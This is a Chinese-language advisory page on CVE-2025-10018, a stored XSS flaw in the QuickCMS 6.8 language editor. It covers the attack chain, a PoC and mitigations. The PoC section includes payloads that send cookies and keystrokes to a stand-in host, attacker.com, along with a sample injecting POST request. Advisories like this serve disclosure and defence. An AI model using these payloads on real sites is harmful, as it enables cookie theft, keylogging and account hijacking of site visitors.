IPBUF安全漏洞报告
English
CVE-2025-10018 CVSS 4.8 中危

CVE-2025-10018 QuickCMS 存储型XSS漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2025-10018
漏洞类型
存储型XSS
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
QuickCMS

相关标签

存储型XSSQuickCMSCVE-2025-10018语言编辑器管理员权限跨站脚本Web安全内容管理系统

漏洞概述

CVE-2025-10018是影响QuickCMS的一个高危安全漏洞,属于存储型跨站脚本攻击(Stored XSS)。该漏洞存在于QuickCMS的语言编辑器功能(languages模块)中,允许具有管理员权限的恶意攻击者向网站注入任意HTML和JavaScript代码。由于这些恶意代码被存储在服务器端,会在网站的每个页面被渲染和执行,从而影响所有访问该网站的用户。攻击者可以利用此漏洞窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或植入恶意软件。值得注意的是,QuickCMS默认情况下管理员用户是无法添加JavaScript到网站的,但该漏洞绕过了这一安全限制。目前仅确认6.8版本存在此漏洞,其他版本可能也受影响。厂商在收到漏洞通知后未及时响应,导致漏洞长期存在。

技术细节

该漏洞是一个典型的存储型XSS(Cross-Site Scripting)漏洞,存在于QuickCMS的语言编辑器功能模块中。存储型XSS与反射型XSS的主要区别在于,恶意脚本被永久存储在目标服务器(如数据库、留言板、评论区等),而非仅在URL参数中传递。当其他用户访问包含恶意脚本的页面时,服务器从数据库中读取该脚本并嵌入到响应页面中,从而触发执行。在QuickCMS中,攻击者通过以下步骤利用此漏洞:1. 登录到QuickCMS管理后台;2. 导航到语言编辑器功能;3. 在语言字段中注入恶意JavaScript代码(如<script>alert(document.cookie)</script>);4. 保存修改。由于系统未对用户输入进行充分的HTML转义或白名单过滤,恶意代码被直接存储到数据库中。当用户访问网站的任何页面时,这些包含恶意脚本的语言字符串被加载并输出到HTML页面中,导致JavaScript在用户浏览器中执行。攻击者可借此窃取用户认证信息、篡改页面内容或进行进一步的攻击。

攻击链分析

STEP 1
步骤1
攻击者获取QuickCMS管理员账户访问权限
STEP 2
步骤2
攻击者登录管理后台,导航到语言编辑器功能(languages模块)
STEP 3
步骤3
攻击者在语言字段(如站点名称、标签等)中注入恶意JavaScript代码
STEP 4
步骤4
攻击者保存修改,恶意脚本被永久存储到数据库中
STEP 5
步骤5
当普通用户访问网站任何页面时,包含恶意脚本的语言字符串被加载并输出
STEP 6
步骤6
用户浏览器执行恶意JavaScript代码,导致Cookie被窃取或账户被劫持

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-10018 PoC - Stored XSS in QuickCMS Language Editor --> <!-- This PoC demonstrates the stored XSS vulnerability in QuickCMS languages editor --> <!-- Step 1: Login to QuickCMS admin panel with admin credentials --> <!-- URL: /admin.php?p=languages --> <!-- Step 2: Inject malicious JavaScript into language field --> <!-- Example payload in language editor: --> <script> // Steal session cookies fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie)) </script> <!-- Alternative payload - keylogger --> <img src=x onerror='document.onkeypress=function(e){fetch("https://attacker.com/log?k="+e.key)}'> <!-- Alternative payload - session hijacking --> <script> document.location='https://attacker.com/cookie?c='+document.cookie </script> <!-- Step 3: Save the language modification --> <!-- The malicious script is now stored and will execute on all pages --> <!-- HTTP Request Example --> POST /admin.php?p=languages&action=save HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=admin_session id=1&key=site_name&value=<script>alert('XSS')</script>&lang=en

影响范围

QuickCMS 6.8 (已确认存在漏洞)
QuickCMS 其他版本 (可能受影响,尚未测试)

防御指南

临时缓解措施
在厂商发布官方补丁之前,建议采取以下临时缓解措施:1) 限制管理后台访问权限,仅允许可信IP地址访问;2) 启用Web应用防火墙(WAF)规则检测和阻止XSS攻击;3) 对管理员操作进行严格审计日志记录;4) 临时禁用语言编辑器功能或限制其使用;5) 实施严格的会话管理和监控,及时发现异常行为;6) 对所有用户输入实施白名单过滤机制;7) 考虑部署客户端XSS防护脚本作为临时方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表